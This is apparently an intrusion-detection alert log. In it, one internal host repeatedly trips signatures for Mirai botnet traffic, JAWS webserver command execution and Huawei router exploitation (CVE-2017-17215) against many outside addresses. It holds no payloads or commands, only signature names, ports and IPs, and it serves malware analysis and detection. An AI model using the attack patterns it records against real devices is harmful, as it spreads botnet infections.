2025-01-05T14:35:45.059752+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	54890	95.69.234.223	80	TCP
2025-01-05T14:35:45.059752+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	54890	95.69.234.223	80	TCP
2025-01-05T14:35:45.060536+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	60802	150.32.137.211	80	TCP
2025-01-05T14:35:45.060536+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	60802	150.32.137.211	80	TCP
2025-01-05T14:35:45.060821+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	45120	194.77.208.212	80	TCP
2025-01-05T14:35:45.060821+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	45120	194.77.208.212	80	TCP
2025-01-05T14:35:45.061789+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	60744	172.222.199.150	80	TCP
2025-01-05T14:35:45.061789+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	60744	172.222.199.150	80	TCP
2025-01-05T14:35:45.074600+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	48044	179.49.23.236	80	TCP
2025-01-05T14:35:45.074600+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	48044	179.49.23.236	80	TCP
2025-01-05T14:35:45.078404+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	59430	118.87.16.125	80	TCP
2025-01-05T14:35:45.078404+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	59430	118.87.16.125	80	TCP
2025-01-05T14:35:45.079272+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	37498	94.249.105.57	80	TCP
2025-01-05T14:35:45.079272+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	37498	94.249.105.57	80	TCP
2025-01-05T14:35:45.079889+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	41638	20.210.227.180	80	TCP
2025-01-05T14:35:45.079889+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	41638	20.210.227.180	80	TCP
2025-01-05T14:35:45.080092+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	48466	177.13.252.99	80	TCP
2025-01-05T14:35:45.080092+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	48466	177.13.252.99	80	TCP
2025-01-05T14:35:45.093845+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	43340	194.177.55.165	80	TCP
2025-01-05T14:35:45.093845+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	43340	194.177.55.165	80	TCP
2025-01-05T14:35:45.123053+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	49994	1.230.99.235	80	TCP
2025-01-05T14:35:45.123053+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	49994	1.230.99.235	80	TCP
2025-01-05T14:35:45.140025+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	46928	121.83.38.165	80	TCP
2025-01-05T14:35:45.140025+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	46928	121.83.38.165	80	TCP
2025-01-05T14:35:45.169971+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	46142	193.44.64.235	80	TCP
2025-01-05T14:35:45.169971+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	46142	193.44.64.235	80	TCP
2025-01-05T14:35:46.105797+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45728	41.168.200.253	37215	TCP
2025-01-05T14:35:46.110382+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44108	197.91.43.110	37215	TCP
2025-01-05T14:35:46.111187+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	43990	119.246.123.133	80	TCP
2025-01-05T14:35:46.111187+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	43990	119.246.123.133	80	TCP
2025-01-05T14:35:46.140731+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33184	197.14.83.96	37215	TCP
2025-01-05T14:35:47.184619+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	33786	206.234.12.12	80	TCP
2025-01-05T14:35:47.184619+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	33786	206.234.12.12	80	TCP
2025-01-05T14:35:47.184775+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43852	197.200.123.219	37215	TCP
2025-01-05T14:35:47.184945+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41272	197.117.128.83	37215	TCP
2025-01-05T14:35:47.184946+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59556	41.115.117.102	37215	TCP
2025-01-05T14:35:47.184951+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	36756	156.154.39.87	37215	TCP
2025-01-05T14:35:47.185207+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41474	41.227.247.41	37215	TCP
2025-01-05T14:35:47.185378+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54064	156.180.222.237	37215	TCP
2025-01-05T14:35:47.185378+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51792	156.14.86.147	37215	TCP
2025-01-05T14:35:47.185528+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	60810	197.32.170.179	37215	TCP
2025-01-05T14:35:47.185831+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	46276	41.122.121.27	37215	TCP
2025-01-05T14:35:47.185831+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44506	41.151.88.233	37215	TCP
2025-01-05T14:35:47.186452+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59852	197.27.191.213	37215	TCP
2025-01-05T14:35:47.186456+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	39048	41.132.228.125	37215	TCP
2025-01-05T14:35:47.186637+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	60878	152.158.243.142	80	TCP
2025-01-05T14:35:47.186637+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	60878	152.158.243.142	80	TCP
2025-01-05T14:35:47.187773+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44764	197.43.210.83	37215	TCP
2025-01-05T14:35:47.188100+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45680	197.189.71.223	37215	TCP
2025-01-05T14:35:47.188173+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33910	41.29.150.21	37215	TCP
2025-01-05T14:35:47.188198+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34854	156.230.109.92	37215	TCP
2025-01-05T14:35:47.203254+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	35562	197.182.234.35	37215	TCP
2025-01-05T14:35:47.203435+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59458	197.102.174.182	37215	TCP
2025-01-05T14:35:47.203548+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55354	156.14.89.18	37215	TCP
2025-01-05T14:35:47.205077+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54086	41.52.33.77	37215	TCP
2025-01-05T14:35:47.215128+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51940	197.63.127.197	37215	TCP
2025-01-05T14:35:47.218945+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	60296	156.249.219.28	37215	TCP
2025-01-05T14:35:47.219033+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55658	41.51.212.25	37215	TCP
2025-01-05T14:35:47.234555+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38420	197.200.87.98	37215	TCP
2025-01-05T14:35:47.236331+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41832	41.158.136.138	37215	TCP
2025-01-05T14:35:48.254894+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	43198	86.101.230.126	80	TCP
2025-01-05T14:35:48.254894+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	43198	86.101.230.126	80	TCP
2025-01-05T14:35:48.254896+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	42256	110.231.201.210	80	TCP
2025-01-05T14:35:48.254896+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	42256	110.231.201.210	80	TCP
2025-01-05T14:35:48.254900+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	37556	47.128.203.200	80	TCP
2025-01-05T14:35:48.254900+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	37556	47.128.203.200	80	TCP
2025-01-05T14:35:48.254900+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	56178	90.95.110.28	80	TCP
2025-01-05T14:35:48.254900+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	56178	90.95.110.28	80	TCP
2025-01-05T14:35:48.254909+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	54508	146.12.127.56	80	TCP
2025-01-05T14:35:48.254909+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	54508	146.12.127.56	80	TCP
2025-01-05T14:35:48.254919+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	45692	195.162.163.228	80	TCP
2025-01-05T14:35:48.254919+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	45692	195.162.163.228	80	TCP
2025-01-05T14:35:48.254970+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	54562	5.252.176.134	80	TCP
2025-01-05T14:35:48.254970+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	54562	5.252.176.134	80	TCP
2025-01-05T14:35:48.254973+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	38930	154.151.96.81	80	TCP
2025-01-05T14:35:48.254973+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	57524	164.105.79.16	80	TCP
2025-01-05T14:35:48.254973+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	57524	164.105.79.16	80	TCP
2025-01-05T14:35:48.254973+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	38930	154.151.96.81	80	TCP
2025-01-05T14:35:48.254977+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	34280	158.218.134.124	80	TCP
2025-01-05T14:35:48.254977+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	34280	158.218.134.124	80	TCP
2025-01-05T14:35:48.254977+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	55728	79.229.34.68	80	TCP
2025-01-05T14:35:48.254977+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	55728	79.229.34.68	80	TCP
2025-01-05T14:35:48.254987+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	45242	36.13.117.7	80	TCP
2025-01-05T14:35:48.254987+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	45242	36.13.117.7	80	TCP
2025-01-05T14:35:48.255009+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	52202	193.87.236.45	80	TCP
2025-01-05T14:35:48.255009+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	52202	193.87.236.45	80	TCP
2025-01-05T14:35:48.255030+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	59232	66.184.239.192	80	TCP
2025-01-05T14:35:48.255030+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	59232	66.184.239.192	80	TCP
2025-01-05T14:35:48.255031+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	52638	25.110.173.102	80	TCP
2025-01-05T14:35:48.255031+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	52638	25.110.173.102	80	TCP
2025-01-05T14:35:48.255039+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	43990	193.161.66.70	80	TCP
2025-01-05T14:35:48.255039+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	43990	193.161.66.70	80	TCP
2025-01-05T14:35:48.255058+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	56980	185.132.245.251	80	TCP
2025-01-05T14:35:48.255058+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	56980	185.132.245.251	80	TCP
2025-01-05T14:35:48.255063+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	39492	36.2.56.177	80	TCP
2025-01-05T14:35:48.255063+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	39492	36.2.56.177	80	TCP
2025-01-05T14:35:48.255082+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	44072	79.130.197.152	80	TCP
2025-01-05T14:35:48.255082+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	44072	79.130.197.152	80	TCP
2025-01-05T14:35:48.255087+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48690	197.234.86.229	37215	TCP
2025-01-05T14:35:48.255090+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53088	41.75.125.191	37215	TCP
2025-01-05T14:35:48.255095+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	35526	209.109.25.113	80	TCP
2025-01-05T14:35:48.255095+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	35526	209.109.25.113	80	TCP
2025-01-05T14:35:48.255100+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	52568	41.243.115.173	37215	TCP
2025-01-05T14:35:49.116384+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	60932	197.8.199.168	37215	TCP
2025-01-05T14:35:49.136945+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	46240	126.211.81.117	80	TCP
2025-01-05T14:35:49.136945+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	46240	126.211.81.117	80	TCP
2025-01-05T14:35:49.140777+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	47282	13.8.246.214	80	TCP
2025-01-05T14:35:49.140777+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	47282	13.8.246.214	80	TCP
2025-01-05T14:35:49.140822+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	44482	81.40.104.243	80	TCP
2025-01-05T14:35:49.140822+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	44482	81.40.104.243	80	TCP
2025-01-05T14:35:49.140902+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	60348	84.250.191.109	80	TCP
2025-01-05T14:35:49.140902+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	60348	84.250.191.109	80	TCP
2025-01-05T14:35:49.142571+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	51904	40.27.253.168	80	TCP
2025-01-05T14:35:49.142571+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	51904	40.27.253.168	80	TCP
2025-01-05T14:35:49.152563+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	48512	190.55.254.155	80	TCP
2025-01-05T14:35:49.152563+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	48512	190.55.254.155	80	TCP
2025-01-05T14:35:49.156412+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	56470	161.115.251.43	80	TCP
2025-01-05T14:35:49.156412+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	56470	161.115.251.43	80	TCP
2025-01-05T14:35:49.187609+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	40822	197.199.211.42	80	TCP
2025-01-05T14:35:49.187609+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	40822	197.199.211.42	80	TCP
2025-01-05T14:35:49.264116+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	52598	156.134.185.168	37215	TCP
2025-01-05T14:35:49.267556+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	56508	156.187.103.155	37215	TCP
2025-01-05T14:35:49.302794+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	34032	171.103.144.39	80	TCP
2025-01-05T14:35:49.302794+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	34032	171.103.144.39	80	TCP
2025-01-05T14:35:49.660692+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	33606	58.66.122.205	80	TCP
2025-01-05T14:35:49.660692+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	33606	58.66.122.205	80	TCP
2025-01-05T14:35:50.152712+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	52514	164.148.214.85	80	TCP
2025-01-05T14:35:50.152712+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	52514	164.148.214.85	80	TCP
2025-01-05T14:35:50.152715+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	47178	131.216.140.22	80	TCP
2025-01-05T14:35:50.152715+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	47178	131.216.140.22	80	TCP
2025-01-05T14:35:50.153484+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	38766	136.160.78.230	80	TCP
2025-01-05T14:35:50.153484+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	38766	136.160.78.230	80	TCP
2025-01-05T14:35:50.154463+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	51918	131.146.82.191	80	TCP
2025-01-05T14:35:50.154463+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	51918	131.146.82.191	80	TCP
2025-01-05T14:35:50.154473+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	59568	209.2.254.113	80	TCP
2025-01-05T14:35:50.154473+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	59568	209.2.254.113	80	TCP
2025-01-05T14:35:50.154603+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	39594	43.186.245.206	80	TCP
2025-01-05T14:35:50.154603+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	39594	43.186.245.206	80	TCP
2025-01-05T14:35:50.156414+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	52840	138.175.163.81	80	TCP
2025-01-05T14:35:50.156414+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	52840	138.175.163.81	80	TCP
2025-01-05T14:35:50.168346+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	40734	90.22.182.56	80	TCP
2025-01-05T14:35:50.168346+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	40734	90.22.182.56	80	TCP
2025-01-05T14:35:50.168426+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	48750	112.196.146.175	80	TCP
2025-01-05T14:35:50.168426+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	48750	112.196.146.175	80	TCP
2025-01-05T14:35:50.168467+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	33566	50.117.152.120	80	TCP
2025-01-05T14:35:50.168467+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	33566	50.117.152.120	80	TCP
2025-01-05T14:35:50.168537+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	40822	71.126.105.75	80	TCP
2025-01-05T14:35:50.168537+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	40822	71.126.105.75	80	TCP
2025-01-05T14:35:50.183957+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	53802	17.248.178.191	80	TCP
2025-01-05T14:35:50.183957+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	53802	17.248.178.191	80	TCP
2025-01-05T14:35:50.187541+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	57648	76.104.27.228	80	TCP
2025-01-05T14:35:50.187541+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	57648	76.104.27.228	80	TCP
2025-01-05T14:35:50.203273+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	52336	139.101.156.15	80	TCP
2025-01-05T14:35:50.203273+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	52336	139.101.156.15	80	TCP
2025-01-05T14:35:50.203445+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	40636	110.153.231.1	80	TCP
2025-01-05T14:35:50.203445+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	40636	110.153.231.1	80	TCP
2025-01-05T14:35:50.204242+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	53394	147.111.116.124	80	TCP
2025-01-05T14:35:50.204242+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	53394	147.111.116.124	80	TCP
2025-01-05T14:35:50.250039+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49178	197.43.112.68	37215	TCP
2025-01-05T14:35:50.265848+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38340	41.216.222.236	37215	TCP
2025-01-05T14:35:50.279354+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	56074	156.18.64.56	37215	TCP
2025-01-05T14:35:50.281407+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	39392	197.18.131.141	37215	TCP
2025-01-05T14:35:50.459202+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	49342	146.118.70.227	80	TCP
2025-01-05T14:35:50.459202+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	49342	146.118.70.227	80	TCP
2025-01-05T14:35:51.184027+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	49844	185.56.47.148	80	TCP
2025-01-05T14:35:51.184027+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	49844	185.56.47.148	80	TCP
2025-01-05T14:35:51.184068+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	43590	188.182.123.0	80	TCP
2025-01-05T14:35:51.184068+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	43590	188.182.123.0	80	TCP
2025-01-05T14:35:51.184642+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	44114	175.71.205.107	80	TCP
2025-01-05T14:35:51.184642+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	44114	175.71.205.107	80	TCP
2025-01-05T14:35:51.185735+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	52544	58.213.175.91	80	TCP
2025-01-05T14:35:51.185735+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	52544	58.213.175.91	80	TCP
2025-01-05T14:35:51.187749+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	56312	148.233.24.202	80	TCP
2025-01-05T14:35:51.187749+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	56312	148.233.24.202	80	TCP
2025-01-05T14:35:51.189519+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	38530	180.32.234.251	80	TCP
2025-01-05T14:35:51.189519+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	38530	180.32.234.251	80	TCP
2025-01-05T14:35:51.205143+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	51450	87.105.49.23	80	TCP
2025-01-05T14:35:51.205143+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	51450	87.105.49.23	80	TCP
2025-01-05T14:35:51.239192+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	55982	154.86.103.249	80	TCP
2025-01-05T14:35:51.239192+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	55982	154.86.103.249	80	TCP
2025-01-05T14:35:51.312860+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	39504	156.119.120.22	37215	TCP
2025-01-05T14:35:52.184189+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	35356	183.217.115.66	80	TCP
2025-01-05T14:35:52.184189+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	35356	183.217.115.66	80	TCP
2025-01-05T14:35:52.185776+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	53972	194.153.133.9	80	TCP
